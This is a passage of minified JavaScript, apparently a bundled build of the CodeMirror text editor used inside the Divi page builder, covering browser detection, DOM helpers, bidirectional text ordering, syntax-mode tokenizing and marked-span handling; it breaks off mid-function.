e.exports=function(){"use strict";var e=ET_Builder.Frames.top.document,t=navigator.userAgent,n=navigator.platform,o=/gecko\/\d/i.test(t),r=/MSIE \d/.test(t),i=/Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(t),a=/Edge\/(\d+)/.exec(t),s=r||i||a,l=s&&(r?e.documentMode||6:+(a||i)[1]),u=!a&&/WebKit\//.test(t),c=u&&/Qt\/\d+\.\d+/.test(t),d=!a&&/Chrome\//.test(t),p=/Opera\//.test(t),f=/Apple Computer/.test(navigator.vendor),h=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(t),m=/PhantomJS/.test(t),g=!a&&/AppleWebKit/.test(t)&&/Mobile\/\w+/.test(t),v=/Android/.test(t),b=g||v||/webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(t),y=g||/Mac/.test(n),_=/\bCrOS\b/.test(t),k=/win/i.test(n),w=p&&t.match(/Version\/(\d*\.\d*)/);w&&(w=Number(w[1])),w&&w>=15&&(p=!1,u=!0);var C=y&&(c||p&&(null==w||w<12.11)),E=o||s&&l>=9;function O(e){return new RegExp("(^|\\s)"+e+"(?:$|\\s)\\s*")}var S,T=function(e,t){var n=e.className,o=O(t).exec(n);if(o){var r=n.slice(o.index+o[0].length);e.className=n.slice(0,o.index)+(r?o[1]+r:"")}};function M(e){for(var t=e.childNodes.length;t>0;--t)e.removeChild(e.firstChild);return e}function x(e,t){return M(e).appendChild(t)}function P(t,n,o,r){var i=e.createElement(t);if(o&&(i.className=o),r&&(i.style.cssText=r),"string"==typeof n)i.appendChild(e.createTextNode(n));else if(n)for(var a=0;a<n.length;++a)i.appendChild(n[a]);return i}function j(e,t,n,o){var r=P(e,t,n,o);return r.setAttribute("role","presentation"),r}function L(e,t){if(3==t.nodeType&&(t=t.parentNode),e.contains)return e.contains(t);do{if(11==t.nodeType&&(t=t.host),t==e)return!0}while(t=t.parentNode)}function N(){var t;try{t=e.activeElement}catch(n){t=e.body||null}for(;t&&t.shadowRoot&&t.shadowRoot.activeElement;)t=t.shadowRoot.activeElement;return t}function D(e,t){var n=e.className;O(t).test(n)||(e.className+=(n?" ":"")+t)}function A(e,t){for(var n=e.split(" "),o=0;o<n.length;o++)n[o]&&!O(n[o]).test(t)&&(t+=" "+n[o]);return t}S=e.createRange?function(t,n,o,r){var i=e.createRange();return i.setEnd(r||t,o),i.setStart(t,n),i}:function(t,n,o){var r=e.body.createTextRange();try{r.moveToElementText(t.parentNode)}catch(e){return r}return r.collapse(!0),r.moveEnd("character",o),r.moveStart("character",n),r};var F=function(e){e.select()};function I(e){var t=Array.prototype.slice.call(arguments,1);return function(){return e.apply(null,t)}}function R(e,t,n){for(var o in t||(t={}),e)!e.hasOwnProperty(o)||!1===n&&t.hasOwnProperty(o)||(t[o]=e[o]);return t}function B(e,t,n,o,r){null==t&&-1==(t=e.search(/[^\s\u00a0]/))&&(t=e.length);for(var i=o||0,a=r||0;;){var s=e.indexOf("\t",i);if(s<0||s>=t)return a+(t-i);a+=s-i,a+=n-a%n,i=s+1}}g?F=function(e){e.selectionStart=0,e.selectionEnd=e.value.length}:s&&(F=function(e){try{e.select()}catch(e){}});var W=function(){this.id=null,this.f=null,this.time=0,this.handler=I(this.onTimeout,this)};function V(e,t){for(var n=0;n<e.length;++n)if(e[n]==t)return n;return-1}W.prototype.onTimeout=function(e){e.id=0,e.time<=+new Date?e.f():setTimeout(e.handler,e.time-+new Date)},W.prototype.set=function(e,t){this.f=t;var n=+new Date+e;(!this.id||n<this.time)&&(clearTimeout(this.id),this.id=setTimeout(this.handler,e),this.time=n)};var H=50,G={toString:function(){return"CodeMirror.Pass"}},U={scroll:!1},z={origin:"*mouse"},q={origin:"+move"};function K(e,t,n){for(var o=0,r=0;;){var i=e.indexOf("\t",o);-1==i&&(i=e.length);var a=i-o;if(i==e.length||r+a>=t)return o+Math.min(a,t-r);if(r+=i-o,o=i+1,(r+=n-r%n)>=t)return o}}var $=[""];function X(e){for(;$.length<=e;)$.push(Y($)+" ");return $[e]}function Y(e){return e[e.length-1]}function J(e,t){for(var n=[],o=0;o<e.length;o++)n[o]=t(e[o],o);return n}function Q(){}function Z(e,t){var n;return Object.create?n=Object.create(e):(Q.prototype=e,n=new Q),t&&R(t,n),n}var ee=/[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/;function te(e){return/\w/.test(e)||e>"\x80"&&(e.toUpperCase()!=e.toLowerCase()||ee.test(e))}function ne(e,t){return t?!!(t.source.indexOf("\\w")>-1&&te(e))||t.test(e):te(e)}function oe(e){for(var t in e)if(e.hasOwnProperty(t)&&e[t])return!1;return!0}var re=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;function ie(e){return e.charCodeAt(0)>=768&&re.test(e)}function ae(e,t,n){for(;(n<0?t>0:t<e.length)&&ie(e.charAt(t));)t+=n;return t}function se(e,t,n){for(var o=t>n?-1:1;;){if(t==n)return t;var r=(t+n)/2,i=o<0?Math.ceil(r):Math.floor(r);if(i==t)return e(i)?t:n;e(i)?n=i:t=i+o}}var le=null;function ue(e,t,n){var o;le=null;for(var r=0;r<e.length;++r){var i=e[r];if(i.from<t&&i.to>t)return r;i.to==t&&(i.from!=i.to&&"before"==n?o=r:le=r),i.from==t&&(i.from!=i.to&&"before"!=n?o=r:le=r)}return null!=o?o:le}var ce=function(){var e="bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN",t="nnnnnnNNr%%r,rNNmmmmmmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmmmnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmnNmmmmmmrrmmNmmmmrr1111111111";var n=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,o=/[stwN]/,r=/[LRr]/,i=/[Lb1n]/,a=/[1n]/;function s(e,t,n){this.level=e,this.from=t,this.to=n}return function(l,u){var c,d="ltr"==u?"L":"R";if(0==l.length||"ltr"==u&&!n.test(l))return!1;for(var p=l.length,f=[],h=0;h<p;++h)f.push((c=l.charCodeAt(h))<=247?e.charAt(c):1424<=c&&c<=1524?"R":1536<=c&&c<=1785?t.charAt(c-1536):1774<=c&&c<=2220?"r":8192<=c&&c<=8203?"w":8204==c?"b":"L");for(var m=0,g=d;m<p;++m){var v=f[m];"m"==v?f[m]=g:g=v}for(var b=0,y=d;b<p;++b){var _=f[b];"1"==_&&"r"==y?f[b]="n":r.test(_)&&(y=_,"r"==_&&(f[b]="R"))}for(var k=1,w=f[0];k<p-1;++k){var C=f[k];"+"==C&&"1"==w&&"1"==f[k+1]?f[k]="1":","!=C||w!=f[k+1]||"1"!=w&&"n"!=w||(f[k]=w),w=C}for(var E=0;E<p;++E){var O=f[E];if(","==O)f[E]="N";else if("%"==O){var S=void 0;for(S=E+1;S<p&&"%"==f[S];++S);for(var T=E&&"!"==f[E-1]||S<p&&"1"==f[S]?"1":"N",M=E;M<S;++M)f[M]=T;E=S-1}}for(var x=0,P=d;x<p;++x){var j=f[x];"L"==P&&"1"==j?f[x]="L":r.test(j)&&(P=j)}for(var L=0;L<p;++L)if(o.test(f[L])){var N=void 0;for(N=L+1;N<p&&o.test(f[N]);++N);for(var D="L"==(L?f[L-1]:d),A="L"==(N<p?f[N]:d),F=D==A?D?"L":"R":d,I=L;I<N;++I)f[I]=F;L=N-1}for(var R,B=[],W=0;W<p;)if(i.test(f[W])){var V=W;for(++W;W<p&&i.test(f[W]);++W);B.push(new s(0,V,W))}else{var H=W,G=B.length,U="rtl"==u?1:0;for(++W;W<p&&"L"!=f[W];++W);for(var z=H;z<W;)if(a.test(f[z])){H<z&&(B.splice(G,0,new s(1,H,z)),G+=U);var q=z;for(++z;z<W&&a.test(f[z]);++z);B.splice(G,0,new s(2,q,z)),G+=U,H=z}else++z;H<W&&B.splice(G,0,new s(1,H,W))}return"ltr"==u&&(1==B[0].level&&(R=l.match(/^\s+/))&&(B[0].from=R[0].length,B.unshift(new s(0,0,R[0].length))),1==Y(B).level&&(R=l.match(/\s+$/))&&(Y(B).to-=R[0].length,B.push(new s(0,p-R[0].length,p)))),"rtl"==u?B.reverse():B}}();function de(e,t){var n=e.order;return null==n&&(n=e.order=ce(e.text,t)),n}var pe=[],fe=function(e,t,n){if(e.addEventListener)e.addEventListener(t,n,!1);else if(e.attachEvent)e.attachEvent("on"+t,n);else{var o=e._handlers||(e._handlers={});o[t]=(o[t]||pe).concat(n)}};function he(e,t){return e._handlers&&e._handlers[t]||pe}function me(e,t,n){if(e.removeEventListener)e.removeEventListener(t,n,!1);else if(e.detachEvent)e.detachEvent("on"+t,n);else{var o=e._handlers,r=o&&o[t];if(r){var i=V(r,n);i>-1&&(o[t]=r.slice(0,i).concat(r.slice(i+1)))}}}function ge(e,t){var n=he(e,t);if(n.length)for(var o=Array.prototype.slice.call(arguments,2),r=0;r<n.length;++r)n[r].apply(null,o)}function ve(e,t,n){return"string"==typeof t&&(t={type:t,preventDefault:function(){this.defaultPrevented=!0}}),ge(e,n||t.type,e,t),Ce(t)||t.codemirrorIgnore}function be(e){var t=e._handlers&&e._handlers.cursorActivity;if(t)for(var n=e.curOp.cursorActivityHandlers||(e.curOp.cursorActivityHandlers=[]),o=0;o<t.length;++o)-1==V(n,t[o])&&n.push(t[o])}function ye(e,t){return he(e,t).length>0}function _e(e){e.prototype.on=function(e,t){fe(this,e,t)},e.prototype.off=function(e,t){me(this,e,t)}}function ke(e){e.preventDefault?e.preventDefault():e.returnValue=!1}function we(e){e.stopPropagation?e.stopPropagation():e.cancelBubble=!0}function Ce(e){return null!=e.defaultPrevented?e.defaultPrevented:0==e.returnValue}function Ee(e){ke(e),we(e)}function Oe(e){return e.target||e.srcElement}function Se(e){var t=e.which;return null==t&&(1&e.button?t=1:2&e.button?t=3:4&e.button&&(t=2)),y&&e.ctrlKey&&1==t&&(t=3),t}var Te,Me,xe=function(){if(s&&l<9)return!1;var e=P("div");return"draggable"in e||"dragDrop"in e}();function Pe(t){if(null==Te){var n=P("span","\u200b");x(t,P("span",[n,e.createTextNode("x")])),0!=t.firstChild.offsetHeight&&(Te=n.offsetWidth<=1&&n.offsetHeight>2&&!(s&&l<8))}var o=Te?P("span","\u200b"):P("span","\xa0",null,"display: inline-block; width: 1px; margin-right: -1px");return o.setAttribute("cm-text",""),o}function je(t){if(null!=Me)return Me;var n=x(t,e.createTextNode("A\u062eA")),o=S(n,0,1).getBoundingClientRect(),r=S(n,1,2).getBoundingClientRect();return M(t),!(!o||o.left==o.right)&&(Me=r.right-o.right<3)}var Le,Ne=3!="\n\nb".split(/\n/).length?function(e){for(var t=0,n=[],o=e.length;t<=o;){var r=e.indexOf("\n",t);-1==r&&(r=e.length);var i=e.slice(t,"\r"==e.charAt(r-1)?r-1:r),a=i.indexOf("\r");-1!=a?(n.push(i.slice(0,a)),t+=a+1):(n.push(i),t=r+1)}return n}:function(e){return e.split(/\r\n?|\n/)},De=window.getSelection?function(e){try{return e.selectionStart!=e.selectionEnd}catch(e){return!1}}:function(e){var t;try{t=e.ownerDocument.selection.createRange()}catch(e){}return!(!t||t.parentElement()!=e)&&0!=t.compareEndPoints("StartToEnd",t)},Ae="oncopy"in(Le=P("div"))||(Le.setAttribute("oncopy","return;"),"function"==typeof Le.oncopy),Fe=null,Ie={},Re={};function Be(e){if("string"==typeof e&&Re.hasOwnProperty(e))e=Re[e];else if(e&&"string"==typeof e.name&&Re.hasOwnProperty(e.name)){var t=Re[e.name];"string"==typeof t&&(t={name:t}),(e=Z(t,e)).name=t.name}else{if("string"==typeof e&&/^[\w\-]+\/[\w\-]+\+xml$/.test(e))return Be("application/xml");if("string"==typeof e&&/^[\w\-]+\/[\w\-]+\+json$/.test(e))return Be("application/json")}return"string"==typeof e?{name:e}:e||{name:"null"}}function We(e,t){t=Be(t);var n=Ie[t.name];if(!n)return We(e,"text/plain");var o=n(e,t);if(Ve.hasOwnProperty(t.name)){var r=Ve[t.name];for(var i in r)r.hasOwnProperty(i)&&(o.hasOwnProperty(i)&&(o["_"+i]=o[i]),o[i]=r[i])}if(o.name=t.name,t.helperType&&(o.helperType=t.helperType),t.modeProps)for(var a in t.modeProps)o[a]=t.modeProps[a];return o}var Ve={};function He(e,t){var n=Ve.hasOwnProperty(e)?Ve[e]:Ve[e]={};R(t,n)}function Ge(e,t){if(!0===t)return t;if(e.copyState)return e.copyState(t);var n={};for(var o in t){var r=t[o];r instanceof Array&&(r=r.concat([])),n[o]=r}return n}function Ue(e,t){for(var n;e.innerMode&&(n=e.innerMode(t))&&n.mode!=e;)t=n.state,e=n.mode;return n||{mode:e,state:t}}function ze(e,t,n){return!e.startState||e.startState(t,n)}var qe=function(e,t,n){this.pos=this.start=0,this.string=e,this.tabSize=t||8,this.lastColumnPos=this.lastColumnValue=0,this.lineStart=0,this.lineOracle=n};function Ke(e,t){if((t-=e.first)<0||t>=e.size)throw new Error("There is no line "+(t+e.first)+" in the document.");for(var n=e;!n.lines;)for(var o=0;;++o){var r=n.children[o],i=r.chunkSize();if(t<i){n=r;break}t-=i}return n.lines[t]}function $e(e,t,n){var o=[],r=t.line;return e.iter(t.line,n.line+1,function(e){var i=e.text;r==n.line&&(i=i.slice(0,n.ch)),r==t.line&&(i=i.slice(t.ch)),o.push(i),++r}),o}function Xe(e,t,n){var o=[];return e.iter(t,n,function(e){o.push(e.text)}),o}function Ye(e,t){var n=t-e.height;if(n)for(var o=e;o;o=o.parent)o.height+=n}function Je(e){if(null==e.parent)return null;for(var t=e.parent,n=V(t.lines,e),o=t.parent;o;t=o,o=o.parent)for(var r=0;o.children[r]!=t;++r)n+=o.children[r].chunkSize();return n+t.first}function Qe(e,t){var n=e.first;e:do{for(var o=0;o<e.children.length;++o){var r=e.children[o],i=r.height;if(t<i){e=r;continue e}t-=i,n+=r.chunkSize()}return n}while(!e.lines);for(var a=0;a<e.lines.length;++a){var s=e.lines[a],l=s.height;if(t<l)break;t-=l}return n+a}function Ze(e,t){return t>=e.first&&t<e.first+e.size}function et(e,t){return String(e.lineNumberFormatter(t+e.firstLineNumber))}function tt(e,t,n){if(void 0===n&&(n=null),!(this instanceof tt))return new tt(e,t,n);this.line=e,this.ch=t,this.sticky=n}function nt(e,t){return e.line-t.line||e.ch-t.ch}function ot(e,t){return e.sticky==t.sticky&&0==nt(e,t)}function rt(e){return tt(e.line,e.ch)}function it(e,t){return nt(e,t)<0?t:e}function at(e,t){return nt(e,t)<0?e:t}function st(e,t){return Math.max(e.first,Math.min(t,e.first+e.size-1))}function lt(e,t){if(t.line<e.first)return tt(e.first,0);var n=e.first+e.size-1;return t.line>n?tt(n,Ke(e,n).text.length):function(e,t){var n=e.ch;return null==n||n>t?tt(e.line,t):n<0?tt(e.line,0):e}(t,Ke(e,t.line).text.length)}function ut(e,t){for(var n=[],o=0;o<t.length;o++)n[o]=lt(e,t[o]);return n}qe.prototype.eol=function(){return this.pos>=this.string.length},qe.prototype.sol=function(){return this.pos==this.lineStart},qe.prototype.peek=function(){return this.string.charAt(this.pos)||void 0},qe.prototype.next=function(){if(this.pos<this.string.length)return this.string.charAt(this.pos++)},qe.prototype.eat=function(e){var t=this.string.charAt(this.pos);if("string"==typeof e?t==e:t&&(e.test?e.test(t):e(t)))return++this.pos,t},qe.prototype.eatWhile=function(e){for(var t=this.pos;this.eat(e););return this.pos>t},qe.prototype.eatSpace=function(){for(var e=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos>e},qe.prototype.skipToEnd=function(){this.pos=this.string.length},qe.prototype.skipTo=function(e){var t=this.string.indexOf(e,this.pos);if(t>-1)return this.pos=t,!0},qe.prototype.backUp=function(e){this.pos-=e},qe.prototype.column=function(){return this.lastColumnPos<this.start&&(this.lastColumnValue=B(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue),this.lastColumnPos=this.start),this.lastColumnValue-(this.lineStart?B(this.string,this.lineStart,this.tabSize):0)},qe.prototype.indentation=function(){return B(this.string,null,this.tabSize)-(this.lineStart?B(this.string,this.lineStart,this.tabSize):0)},qe.prototype.match=function(e,t,n){if("string"!=typeof e){var o=this.string.slice(this.pos).match(e);return o&&o.index>0?null:(o&&!1!==t&&(this.pos+=o[0].length),o)}var r=function(e){return n?e.toLowerCase():e},i=this.string.substr(this.pos,e.length);if(r(i)==r(e))return!1!==t&&(this.pos+=e.length),!0},qe.prototype.current=function(){return this.string.slice(this.start,this.pos)},qe.prototype.hideFirstChars=function(e,t){this.lineStart+=e;try{return t()}finally{this.lineStart-=e}},qe.prototype.lookAhead=function(e){var t=this.lineOracle;return t&&t.lookAhead(e)},qe.prototype.baseToken=function(){var e=this.lineOracle;return e&&e.baseToken(this.pos)};var ct=function(e,t){this.state=e,this.lookAhead=t},dt=function(e,t,n,o){this.state=t,this.doc=e,this.line=n,this.maxLookAhead=o||0,this.baseTokens=null,this.baseTokenPos=1};function pt(e,t,n,o){var r=[e.state.modeGen],i={};kt(e,t.text,e.doc.mode,n,function(e,t){return r.push(e,t)},i,o);for(var a=n.state,s=function(o){n.baseTokens=r;var s=e.state.overlays[o],l=1,u=0;n.state=!0,kt(e,t.text,s.mode,n,function(e,t){for(var n=l;u<e;){var o=r[l];o>e&&r.splice(l,1,e,r[l+1],o),l+=2,u=Math.min(e,o)}if(t)if(s.opaque)r.splice(n,l-n,e,"overlay "+t),l=n+2;else for(;n<l;n+=2){var i=r[n+1];r[n+1]=(i?i+" ":"")+"overlay "+t}},i),n.state=a,n.baseTokens=null,n.baseTokenPos=1},l=0;l<e.state.overlays.length;++l)s(l);return{styles:r,classes:i.bgClass||i.textClass?i:null}}function ft(e,t,n){if(!t.styles||t.styles[0]!=e.state.modeGen){var o=ht(e,Je(t)),r=t.text.length>e.options.maxHighlightLength&&Ge(e.doc.mode,o.state),i=pt(e,t,o);r&&(o.state=r),t.stateAfter=o.save(!r),t.styles=i.styles,i.classes?t.styleClasses=i.classes:t.styleClasses&&(t.styleClasses=null),n===e.doc.highlightFrontier&&(e.doc.modeFrontier=Math.max(e.doc.modeFrontier,++e.doc.highlightFrontier))}return t.styles}function ht(e,t,n){var o=e.doc,r=e.display;if(!o.mode.startState)return new dt(o,!0,t);var i=function(e,t,n){for(var o,r,i=e.doc,a=n?-1:t-(e.doc.mode.innerMode?1e3:100),s=t;s>a;--s){if(s<=i.first)return i.first;var l=Ke(i,s-1),u=l.stateAfter;if(u&&(!n||s+(u instanceof ct?u.lookAhead:0)<=i.modeFrontier))return s;var c=B(l.text,null,e.options.tabSize);(null==r||o>c)&&(r=s-1,o=c)}return r}(e,t,n),a=i>o.first&&Ke(o,i-1).stateAfter,s=a?dt.fromSaved(o,a,i):new dt(o,ze(o.mode),i);return o.iter(i,t,function(n){mt(e,n.text,s);var o=s.line;n.stateAfter=o==t-1||o%5==0||o>=r.viewFrom&&o<r.viewTo?s.save():null,s.nextLine()}),n&&(o.modeFrontier=s.line),s}function mt(e,t,n,o){var r=e.doc.mode,i=new qe(t,e.options.tabSize,n);for(i.start=i.pos=o||0,""==t&>(r,n.state);!i.eol();)vt(r,i,n.state),i.start=i.pos}function gt(e,t){if(e.blankLine)return e.blankLine(t);if(e.innerMode){var n=Ue(e,t);return n.mode.blankLine?n.mode.blankLine(n.state):void 0}}function vt(e,t,n,o){for(var r=0;r<10;r++){o&&(o[0]=Ue(e,n).mode);var i=e.token(t,n);if(t.pos>t.start)return i}throw new Error("Mode "+e.name+" failed to advance stream.")}dt.prototype.lookAhead=function(e){var t=this.doc.getLine(this.line+e);return null!=t&&e>this.maxLookAhead&&(this.maxLookAhead=e),t},dt.prototype.baseToken=function(e){if(!this.baseTokens)return null;for(;this.baseTokens[this.baseTokenPos]<=e;)this.baseTokenPos+=2;var t=this.baseTokens[this.baseTokenPos+1];return{type:t&&t.replace(/( |^)overlay .*/,""),size:this.baseTokens[this.baseTokenPos]-e}},dt.prototype.nextLine=function(){this.line++,this.maxLookAhead>0&&this.maxLookAhead--},dt.fromSaved=function(e,t,n){return t instanceof ct?new dt(e,Ge(e.mode,t.state),n,t.lookAhead):new dt(e,Ge(e.mode,t),n)},dt.prototype.save=function(e){var t=!1!==e?Ge(this.doc.mode,this.state):this.state;return this.maxLookAhead>0?new ct(t,this.maxLookAhead):t};var bt=function(e,t,n){this.start=e.start,this.end=e.pos,this.string=e.current(),this.type=t||null,this.state=n};function yt(e,t,n,o){var r,i=e.doc,a=i.mode;t=lt(i,t);var s,l=Ke(i,t.line),u=ht(e,t.line,n),c=new qe(l.text,e.options.tabSize,u);for(o&&(s=[]);(o||c.pos<t.ch)&&!c.eol();)c.start=c.pos,r=vt(a,c,u.state),o&&s.push(new bt(c,r,Ge(i.mode,u.state)));return o?s:new bt(c,r,u.state)}function _t(e,t){if(e)for(;;){var n=e.match(/(?:^|\s+)line-(background-)?(\S+)/);if(!n)break;e=e.slice(0,n.index)+e.slice(n.index+n[0].length);var o=n[1]?"bgClass":"textClass";null==t[o]?t[o]=n[2]:new RegExp("(?:^|\\s)"+n[2]+"(?:$|\\s)").test(t[o])||(t[o]+=" "+n[2])}return e}function kt(e,t,n,o,r,i,a){var s=n.flattenSpans;null==s&&(s=e.options.flattenSpans);var l,u=0,c=null,d=new qe(t,e.options.tabSize,o),p=e.options.addModeClass&&[null];for(""==t&&_t(gt(n,o.state),i);!d.eol();){if(d.pos>e.options.maxHighlightLength?(s=!1,a&&mt(e,t,o,d.pos),d.pos=t.length,l=null):l=_t(vt(n,d,o.state,p),i),p){var f=p[0].name;f&&(l="m-"+(l?f+" "+l:f))}if(!s||c!=l){for(;u<d.start;)u=Math.min(d.start,u+5e3),r(u,c);c=l}d.start=d.pos}for(;u<d.pos;){var h=Math.min(d.pos,u+5e3);r(h,c),u=h}}var wt=!1,Ct=!1;function Et(e,t,n){this.marker=e,this.from=t,this.to=n}function Ot(e,t){if(e)for(var n=0;n<e.length;++n){var o=e[n];if(o.marker==t)return o}}function St(e,t){for(var n,o=0;o<e.length;++o)e[o]!=t&&(n||(n=[])).push(e[o]);return n}function Tt(e,t){if(t.full)return null;var n=Ze(e,t.from.line)&&Ke(e,t.from.line).markedSpans,o=Ze(e,t.to.line)&&Ke(e,t.to.line).markedSpans;if(!n&&!o)return null;var r=t.from.ch,i=t.to.ch,a=0==nt(t.from,t.to),s=function(e,t,n){var o;if(e)for(var r=0;r<e.length;++r){var i=e[r],a=i.marker,s=null==i.from||(a.inclusiveLeft?i.from<=t:i.from<t);if(s||i.from==t&&"bookmark"==a.type&&(!n||!i.marker.insertLeft)){var l=null==i.to||(a.inclusiveRight?i.to>=t:i.to>t);(o||(o=[])).push(new Et(a,i.from,l?null:i.to))}}return o}(n,r,a),l=function(e,t,n){var o;if(e)for(var r=0;r<e.length;++r){var i=e[r],a=i.marker,s=null==i.to||(a.inclusiveRight?i.to>=t:i.to>t);if(s||i.from==t&&"bookmark"==a.type&&(!n||i.marker.insertLeft)){var l=null==i.from||(a.inclusiveLeft?i.from<=t:i.from<t);(o||(o=[])).push(new Et(a,l?null:i.from-t,null==i.to?null:i.to-t))}}return o}(o,i,a),u=1==t.text.length,c=Y(t.text).length+(u?r:0);if(s)for(var d=0;d<s.length;++d){var p=s[d];if(null==p.to){var f=Ot(l,p.marker);f?u&&(p.to=null==f.to?null:f.to+c):p.to=r}}if(l)for(var h=0;h<l.length;++h){var m=l[h];if(null!=m.to&&(m.to+=c),null==m.from){var g=Ot(s,m.marker);g||(m.from=c,u&&(s||(s=[])).push(m))}else m.from+=c,u&&(s||(s=[])).push(m)}s&&(s=Mt(s)),l&&l!=s&&(l=Mt(l));var v=[s];if(!u){var b,y=t.text.length-2;if(y>0&&s)for(var _=0;_<s.length;++_)null==s[_].to&&(b||(b=[])).push(new Et(s[_].marker,null,null));for(var k=0;k<y;++k)v.push(b);v.push(l)}return v}function Mt(e){for(var t=0;t<e.length;++t){var n=e[t];null!=n.from&&n.from==n.to&&!1!==n.marker.clearWhenEmpty&&e.splice(t--,1)}return e.length?e:null}function xt(e){var t=e.markedSpans;if(t){for(var n=0;n<t.length;++n)t[n].marker.detachLine(e);e.markedSpans=null}}function Pt(e,t){if(t){for(var n=0;n<t.length;++n)t[n].marker.attachLine(e);e.markedSpans=t}}function jt(e){return e.inclusiveLeft?-1:0}function Lt(e){return e.inclusiveRight?1:0}function Nt(e,t){var n=e.lines.length-t.lines.length;if(0!=n)return n;var o=e.find(),r=t.find(),i=nt(o.from,r.from)||jt(e)-jt(t);if(i)return-i;var a=nt(o.to,r.to)||Lt(e)-Lt(t);return a||t.id-e.id}function Dt(e,t){var n,o=Ct&&e.markedSpans;if(o)for(var r=void 0,i=0;i<o.length;++i)(r=o[i]).marker.collapsed&&null==(t?r.from:r.to)&&(!n||Nt(n,r.marker)<0)&&(n=r.marker);return n}function At(e){return Dt(e,!0)}function Ft(e){return Dt(e,!1)}function It(e,t){var n,o=Ct&&e.markedSpans;if(o)for(var r=0;r<o.length;++r){var i=o[r];i.marker.collapsed&&(null==i.from||i.from<t)&&(null==i.to||i.to>t)&&(!n||Nt(n,i.marker)<0)&&(n=i.marker)}return n}function Rt(e,t,n,o,r){var i=Ke(e,t),a=Ct&&i.markedSpans;if(a)for(var s=0;s<a.length;++s){var l=a[s];if(l.marker.collapsed){var u=l.marker.find(0),c=nt(u.from,n)||jt(l.marker)-jt(r),d=nt(u.to,o)||Lt(l.marker)-Lt(r);if(!(c>=0&&d<=0||c<=0&&d>=0)&&(c<=0&&(l.marker.inclusiveRight&&r.inclusiveLeft?nt(u.to,n)>=0:nt(u.to,n)>0)||c>=0&&(l.marker.inclusiveRight&&r.inclusiveLeft?nt(u.from,o)<=0:nt(u.from,o)<0)))return!0}}}function Bt(e){for(var t;t=At(e);)e=t.find(-1,!0).line;return e}function Wt(e,t){var n=Ke(e,t),o=Bt(n);return 